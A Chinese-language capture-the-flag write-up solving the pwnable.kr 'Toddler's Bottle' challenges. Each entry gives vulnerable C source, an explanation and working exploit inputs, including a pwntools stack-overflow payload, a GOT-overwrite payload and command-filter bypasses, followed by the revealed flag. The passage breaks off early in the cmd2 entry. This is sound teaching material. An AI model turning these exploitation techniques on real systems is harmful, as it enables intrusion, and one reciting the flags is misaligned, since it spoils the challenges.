Pwnable.kr Toddler's Bottle 练习记录

Pwnable.kr Toddler's Bottle 练习记录。

fd

查看程序源码,需要使 buf 为 "LETMEWIN" 字符串才可以得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

在 Linux 系统中,文件描述符使用 int 类型进行表示,其中有三个系统默认值。

  • 0:stdin,标准输入流
  • 1:stdout,标准输出流
  • 2:stderr,标准错误流

当程序中 fd 的值为 0 时,表示 read() 函数将从 stdin 流中读取 32 字节数据到 buf 数组中,此时可以控制 buf 为 "LETMEWIN" 字符串,得到 flag 信息。

1
2
3
4
fd@ubuntu:~$ ./fd 4660
LETMEWIN
good job :)
Mama! Now_I_understand_what_file_descriptors_are!

collision

查看程序源码,当输入的字符相加为 0x21DD09EC 时,得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){
setregid(getegid(), getegid());
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

由 0x21DD09EC 为 568134124 可知,当 0x21DD09EC + 0x1 = 0x21DD09ED 时,能够被 5 除尽,所以可以得到 0x6C5CEC9、0x6C5CEC9、0x6C5CEC9、0x6C5CEC9 和 0x6C5CEC8 等 5 个用于相加的数值。

构造用于输入的字符串,读取 flag 信息。

1
2
col@ubuntu:~$ ./col `python2 -c 'print "\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC8\xCE\xC5\x06"'`
Two_hash_collision_Nicely

bof

查看程序源码,当 key 为 0xcafebabe 时,得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
setregid(getegid(), getegid());
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

通过 gets() 函数获取输入时,并不会对输入数据的长度进行检查,因此输入长度超过 32 字节便会溢出 overflowme 数组的内存空间。

查看 func 函数的栈布局。

1
2
3
4
5
6
7
8
9
10
11
12
13
-000000000000002C     char overflowme[32];
-000000000000000C _DWORD var_C;
-0000000000000008 // padding byte
-0000000000000007 // padding byte
-0000000000000006 // padding byte
-0000000000000005 // padding byte
-0000000000000004 // padding byte
-0000000000000003 // padding byte
-0000000000000002 // padding byte
-0000000000000001 // padding byte
+0000000000000000 _DWORD __saved_registers;
+0000000000000004 _UNKNOWN *__return_address;
+0000000000000008 _DWORD key;

其中 overflowme 距离 key 偏移为 0x34 字节,当填充 56 字节的数据时,便可以覆盖 key 的值。

在题目服务器的 /tmp 目录中新建任意目录,创建 Python 脚本文件,内容如下。

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/python3

from pwn import *

payload = b'A' * 0x34
payload += b'\xbe\xba\xfe\xca'

target = remote('0.0.0.0', 9000)
target.sendline(payload)
target.interactive()

运行脚本,得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
bof@ubuntu:/tmp/bof_test$ python3 get_flag.py
[+] Opening connection to 0.0.0.0 on port 9000: Done
[*] Switching to interactive mode
$ ls
bof
bof.c
flag
log
super.pl
$ cat flag
Daddy_I_just_pwned_a_buff3r!
$

passcode

查看程序源码,当 passcode1 为 123456 和 passcode2 为 13371337 时得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==123456 && passcode2==13371337){
printf("Login OK!\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.1 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

login() 函数中,可以看到 passcode1passcode2 通过 scanf() 函数接收输入时,缺少 & 符号,这将导致实际存储数据的内存地址由两个变量的数值决定。

经过调试分析发现 welcome() 函数中 name 数组的最后 4 个字节,恰好与 passcode1 重叠,因此可以通过 name 数组来控制 passcode1 的值,从而实现任意地址写入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// eax = 0xffffd098 -> name array address
*EAX 0xffffd098 ◂— 0x28 /* '(' */

0x804931e <welcome+44> add esp, 0x10
0x8049321 <welcome+47> sub esp, 8
0x8049324 <welcome+50> lea eax, [ebp - 0x70]
► 0x8049327 <welcome+53> push eax
0x8049328 <welcome+54> lea eax, [ebx - 0x1f8b]
0x804932e <welcome+60> push eax
0x804932f <welcome+61> call __isoc99_scanf@plt <__isoc99_scanf@plt>


// ebp - 0x10 = 0xffffd0f8 -> passcode1 address
EBP 0xffffd108 —▸ 0xffffd118 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0

0x8049218 <login+34> add esp, 0x10
0x804921b <login+37> sub esp, 8
► 0x804921e <login+40> push dword ptr [ebp - 0x10]
0x8049221 <login+43> lea eax, [ebx - 0x1fe5]
0x8049227 <login+49> push eax
0x8049228 <login+50> call __isoc99_scanf@plt <__isoc99_scanf@plt>

// ebp - 0xc = 0xffffd0fc -> passcode2 address
EBP 0xffffd108 —▸ 0xffffd118 ◂— 0x1e240

0x8049253 <login+93> add esp, 0x10
0x8049256 <login+96> sub esp, 8
► 0x8049259 <login+99> push dword ptr [ebp - 0xc]
0x804925c <login+102> lea eax, [ebx - 0x1fe5]
0x8049262 <login+108> push eax
0x8049263 <login+109> call __isoc99_scanf@plt <__isoc99_scanf@plt>

借助任意地址写入功能,可以通过改写 GOT 表中的函数地址来跳转到任意地址进行执行,从而绕过校验代码,得到 flag 信息。

查看 .got.plt 中的函数列表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
passcode@ubuntu:~$ readelf -r passcode

Relocation section '.rel.dyn' at offset 0x430 contains 2 entries:
Offset Info Type Sym.Value Sym. Name
0804bff8 00000806 R_386_GLOB_DAT 00000000 __gmon_start__
0804bffc 00000a06 R_386_GLOB_DAT 00000000 stdin@GLIBC_2.0

Relocation section '.rel.plt' at offset 0x440 contains 10 entries:
Offset Info Type Sym.Value Sym. Name
0804c00c 00000107 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.34
0804c010 00000207 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
0804c014 00000307 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0
0804c018 00000407 R_386_JUMP_SLOT 00000000 __stack_chk_fail@GLIBC_2.4
0804c01c 00000507 R_386_JUMP_SLOT 00000000 getegid@GLIBC_2.0
0804c020 00000607 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0
0804c024 00000707 R_386_JUMP_SLOT 00000000 system@GLIBC_2.0
0804c028 00000907 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0
0804c02c 00000b07 R_386_JUMP_SLOT 00000000 setregid@GLIBC_2.0
0804c030 00000c07 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7

由于 fflush() 函数会刷新输入缓冲区,所以选择覆盖 GOT 表中 fflush() 函数的地址。

通过 fflush() 函数直接跳转到校验成功分支。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:0804928F                 sub     esp, 0Ch
.text:08049292 lea eax, (aLoginOk - 804C000h)[ebx] ; "Login OK!"
.text:08049298 push eax ; s
.text:08049299 call _puts
.text:0804929E add esp, 10h
.text:080492A1 call _getegid
.text:080492A6 mov esi, eax
.text:080492A8 call _getegid
.text:080492AD sub esp, 8
.text:080492B0 push esi ; egid
.text:080492B1 push eax ; rgid
.text:080492B2 call _setregid
.text:080492B7 add esp, 10h
.text:080492BA sub esp, 0Ch
.text:080492BD lea eax, (aBinCatFlag - 804C000h)[ebx] ; "/bin/cat flag"
.text:080492C3 push eax ; command
.text:080492C4 call _system
.text:080492C9 add esp, 10h
.text:080492CC jmp short loc_80492EA

借助 Python 向程序传参,得到 flag 信息。

1
2
3
4
5
passcode@ubuntu:~$ python2 -c 'print "a" * 96 + "\x14\xc0\x04\x08" + "134517409"' | ./passcode
Toddler's Secure Login System 1.1 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
s0rry_mom_I_just_ign0red_c0mp1ler_w4rning
enter passcode1 : Now I can safely trust you that you have credential :)

random

查看程序源码,当输入数据与随机数异或结果为 0xcafebabe 时,得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>

int main(){
unsigned int random;
random = rand(); // random value!

unsigned int key=0;
scanf("%d", &key);

if( (key ^ random) == 0xcafebabe ){
printf("Good!\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
return 0;
}

printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}

由于程序在调用 rand() 函数之前,未调用 srand() 函数初始化随机数种子,因此系统会默认以 1 为种子生成随机数,这将导致每次运行程序生成的随机数均相同。

本地调试程序,得到生成的随机数 0x6b8b4567。

1
2
3
4
5
6
7
8
9
*RAX  0x6b8b4567

0x555555555216 <main+13> mov rax, qword ptr fs:[0x28]
0x55555555521f <main+22> mov qword ptr [rbp - 0x18], rax
0x555555555223 <main+26> xor eax, eax
0x555555555225 <main+28> mov eax, 0
0x55555555522a <main+33> call rand@plt <rand@plt>

► 0x55555555522f <main+38> mov dword ptr [rbp - 0x1c], eax

异或计算得到正确的 key 值为 0xa175ffd9,即十进制 2708864985。

运行程序,得到 flag 信息。

1
2
3
4
random@ubuntu:~$ ./random
2708864985
Good!
m0mmy_I_can_predict_rand0m_v4lue!

input2

查看程序源码,需要满足五个条件才能得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");

// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

// here's your flag
setregid(getegid(), getegid());
system("/bin/cat flag");
return 0;
}

第一个条件,通过 Shell 传递 100 个参数,且第 A (65) 个参数为 \x00,第 B (66) 个参数为 \x20\x0a\x0d

1
2
3
4
5
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

第二个条件,向 stdio 中写入 \x00\x0a\x00\xff,向 stderr 中写入 \x00\x0a\x02\xff

1
2
3
4
5
6
7
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

第三个条件,新增 \xde\xad\xbe\xef 环境变量,设置值为 \xca\xfe\xba\xbe

1
2
3
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

第四个条件,新建 \x0a 文件,内容为 \x00\x00\x00\x00

1
2
3
4
5
6
7
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

第五个条件,通过 Shell 第 C (67) 个参数指定监听端口,建立连接发送 \xde\xad\xbe\xef 数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

根据条件,编写利用脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python3

import os
import time
import socket
import subprocess

port = 10000

if __name__ == "__main__":
args = list("A" * 100)
args[0] = "/home/input2/input2"
args[ord('A')] = ""
args[ord('B')] = "\x20\x0a\x0d"
args[ord('C')] = str(port)

stdinr, stdinw = os.pipe()
stderrr, stderrw = os.pipe()
os.write(stdinw, b"\x00\x0a\x00\xff")
os.write(stderrw, b"\x00\x0a\x02\xff")

environ = {b"\xde\xad\xbe\xef": b"\xca\xfe\xba\xbe"}

f = open("\x0a", "w+")
f.write("\x00\x00\x00\x00")
f.close()

target = subprocess.Popen(args, stdin=stdinr, stderr=stderrr, env=environ)
time.sleep(2)

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.connect(("127.0.0.1", port))
server.send(b"\xde\xad\xbe\xef")
server.close()

将脚本上传到服务器 /tmp 下新建的目录中,并通过软链接引用 flag 文件。

1
ln -s /home/input2/flag ./flag

运行脚本,获取 flag 信息。

1
2
3
4
5
6
7
8
9
10
input2@ubuntu:/tmp/input2_test$ python3 get_flag.py
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
Stage 1 clear!
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Stage 5 clear!
Mommy_now_I_know_how_to_pa5s_inputs_in_Linux

leg

查看程序源码,需要计算出三个正确的 key 值才能得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}

根据题目给出的调试信息,分析三个 key 函数的返回值。

查看 key1() 函数的汇编代码。

1
2
3
4
5
6
7
8
9
10
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.

根据 Arm 架构的三级流水线特性,当 0x00008cdc 处的指令执行时,寄存器 pc 中的值为 0x00008ce4,所以 key1() 函数的返回值为 0x00008ce4。

查看 key2() 函数的汇编代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.

根据 Arm 架构的状态变换特性,当 0x00008d04 处指令执行时,寄存器 pc 的值为 0x00008d04,因此 key2() 函数的返回值为 0x00008d0c。

查看 main()key3() 函数的汇编代码。

1
2
3
4
5
6
7
8
9
(gdb) disass main
Dump of assembler code for function main:
....
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
....
End of assembler dump.
1
2
3
4
5
6
7
8
9
10
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.

根据 Arm 架构的函数调用特性,寄存器 lr 保存着 key3() 函数的返回地址,因此 key3() 函数的返回值为 0x00008d80。

将三个返回值相加,计算出 key 值为 0x0001A770,得到 flag 信息。

1
2
3
4
/ $ ./leg
Daddy has very strong arm! : 108400
Congratz!
daddy_has_lot_of_ARM_muscl3

mistake

查看程序源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}

int main(int argc, char* argv[]){

int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}

printf("do not bruteforce...\n");
sleep(time(0)%20);

char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}

char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);

// xor your input
xor(pw_buf2, 10);

if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
setregid(getegid(), getegid());
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}

close(fd);
return 0;
}

由于在 C 语言中,运算符 = 低于运算符 < 的优先级,所以 fd 保存的是 open("/home/mistake/password",O_RDONLY,0400) < 0 的比较结果,而不是 /home/mistake/password 的文件指针。

因此 read() 函数实际是从 stdin 中读取数据。这将使得 pw_bufpw_buf2 的内容均可控,从而可以通过校验,得到 flag 信息。

1
2
3
4
5
6
mistake@ubuntu:~$ ./mistake
do not bruteforce...
BBBBBBBBBB
input password : CCCCCCCCCC
Password OK
Mommy_the_0perator_priority_confuses_me

coin1

根据题目要求,需要在有限时间内,找出所给硬币中的假币。可以采用二分法进行计算,使用 Python 进行实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python2

from pwn import *

target = remote("0.0.0.0", 9007)

print target.recvuntil("Ready? starting in 3 sec... -\n")
print target.recvline()

for j in range(0, 100):
data = target.recvline()
print data

strlist = data.split(' ')
nums = int(strlist[0][2:])
counts = int(strlist[1][2:])

num_start = 0
while (counts > 0):
if(nums == 1):
counts -= 1
target.sendline(str(num_start))
target.recvline()
continue

if(data == 9):
num_start = int(answer)
counts -= 1
target.sendline(answer)
target.recvline()
continue

num_end = num_start + nums / 2
weight = nums / 2 * 10
answer = ''
for i in range(num_start, num_end):
answer += str(i)
answer += ' '

counts -= 1
target.sendline(answer)
data = int(target.recvline())

if(data < weight):
nums = nums / 2
else:
nums = nums - nums / 2
num_start = num_end

target.sendline(str(num_start))
print target.recvline()

print target.recvline()
print 'flag = ' + target.recvline()

target.close()

因为题目服务器网络问题,远程运行脚本时,会经常断开连接,所以将脚本上传到题目服务器,在服务器本地运行脚本。

经过几次运算,可以得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
coin1@ubuntu:/tmp/coin1_test$ python2 get_flag.py
[+] Opening connection to 0.0.0.0 on port 9007: Done

....

N=597 C=10

Correct! (98)

N=518 C=10

Correct! (99)

Congrats! get your flag

flag = b1naRy_S34rch1Ng_1s_3asy_p3asy

[*] Closed connection to 0.0.0.0 port 9007

blackjack

查看游戏源码,分析发现输入金额时存在问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int betting() //Asks user amount to bet
{
printf("\n\nEnter Bet: $");
scanf("%d", &bet);

if (bet > cash) //If player tries to bet more money than player has
{
printf("\nYou cannot bet more money than you have.");
printf("\nEnter Bet: ");
scanf("%d", &bet);
return bet;
}
else return bet;
} // End Function

如果第一次输入的赌注大于自己所拥有的金额,将会进行第二次输入,但是第二次输入之后函数就返回了,即赌注下注成功。

设置百万金额赌注,赢得一局便可以得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Woohoo_I_am_now_a_MILL10NAIRE!


Cash: $1000500
-------
|S |
| 5 |
| S|
-------

Your Total is 5

The Dealer Has a Total of 3

Enter Bet: $

lotto

查看程序源码,需要 6 个正确的号码才能得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){

int i;
printf("Submit your 6 lotto bytes : ");
fflush(stdout);

int r;
r = read(0, submit, 6);

printf("Lotto Start!\n");
//sleep(1);

// generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1){
printf("error. tell admin\n");
exit(-1);
}
unsigned char lotto[6];
if(read(fd, lotto, 6) != 6){
printf("error2. tell admin\n");
exit(-1);
}
for(i=0; i<6; i++){
lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45
}
close(fd);

// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}

// win!
if(match == 6){
setregid(getegid(), getegid());
system("/bin/cat flag");
}
else{
printf("bad luck...\n");
}

}

void help(){
printf("- nLotto Rule -\n");
printf("nlotto is consisted with 6 random natural numbers less than 46\n");
printf("your goal is to match lotto numbers as many as you can\n");
printf("if you win lottery for *1st place*, you will get reward\n");
printf("for more details, follow the link below\n");
printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

// menu
unsigned int menu;

while(1){

printf("- Select Menu -\n");
printf("1. Play Lotto\n");
printf("2. Help\n");
printf("3. Exit\n");

scanf("%d", &menu);

switch(menu){
case 1:
play();
break;
case 2:
help();
break;
case 3:
printf("bye\n");
return 0;
default:
printf("invalid menu\n");
break;
}
}
return 0;
}

分析可知,程序在比较两个数组 lottosubmit 时存在问题,使用 lotto 的每一位与 submit 的每一位进行比较,只要出现相同字符 match 便增加。

编写遍历代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python2

from pwn import *

target = process('/home/lotto/lotto')
context.update(arch='amd64')

while True:
choice = '1'
print target.recvuntil('3. Exit\n') + choice
target.sendline(choice)

lottos = chr(0xb) * 6
print target.recvuntil('Submit your 6 lotto bytes : ') + lottos
target.sendline(lottos)

print target.recvline()
result = target.recvline()
print result
if(result != 'bad luck...\n'):
break;

将 flag 文件链接到脚本所在目录。

1
ln -s /home/lotto/flag flag

运行脚本,得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
lotto@ubuntu:/tmp/lotto_test$ python2 get_flag.py
[+] Starting local process '/home/lotto/lotto': pid 1301184
....
- Select Menu -
1. Play Lotto
2. Help
3. Exit
1
Submit your 6 lotto bytes : \x0b\x0b\x0b\x0b\x0b\x0b
Lotto Start!

Sorry_mom_1_Forgot_to_check_duplicates

[*] Stopped process '/home/lotto/lotto' (pid 1301184)

cmd1

查看程序源码,需要绕过 filter() 函数的过滤条件才能得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
setregid(getegid(), getegid());
system( argv[1] );
return 0;
}

可以通过设置进程环境变量的方式,实现绕过。

1
2
cmd1@ubuntu:~$ env A="/home/cmd1/flag" ./cmd1 '/bin/cat $A'
PATH_environment?_Now_I_really_g3t_it,_mommy!

cmd2

查看程序源码,需要绕过 filter() 函数的过滤条件才能得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}

extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
setregid(getegid(), getegid());
system( argv[1] );
return 0;
}

/tmp 目录下新建的目录中,建立 flag 文件的软链接,以此绕过对 flag 字符串的检测。

1
2
3
mkdir /tmp/cmd2_test
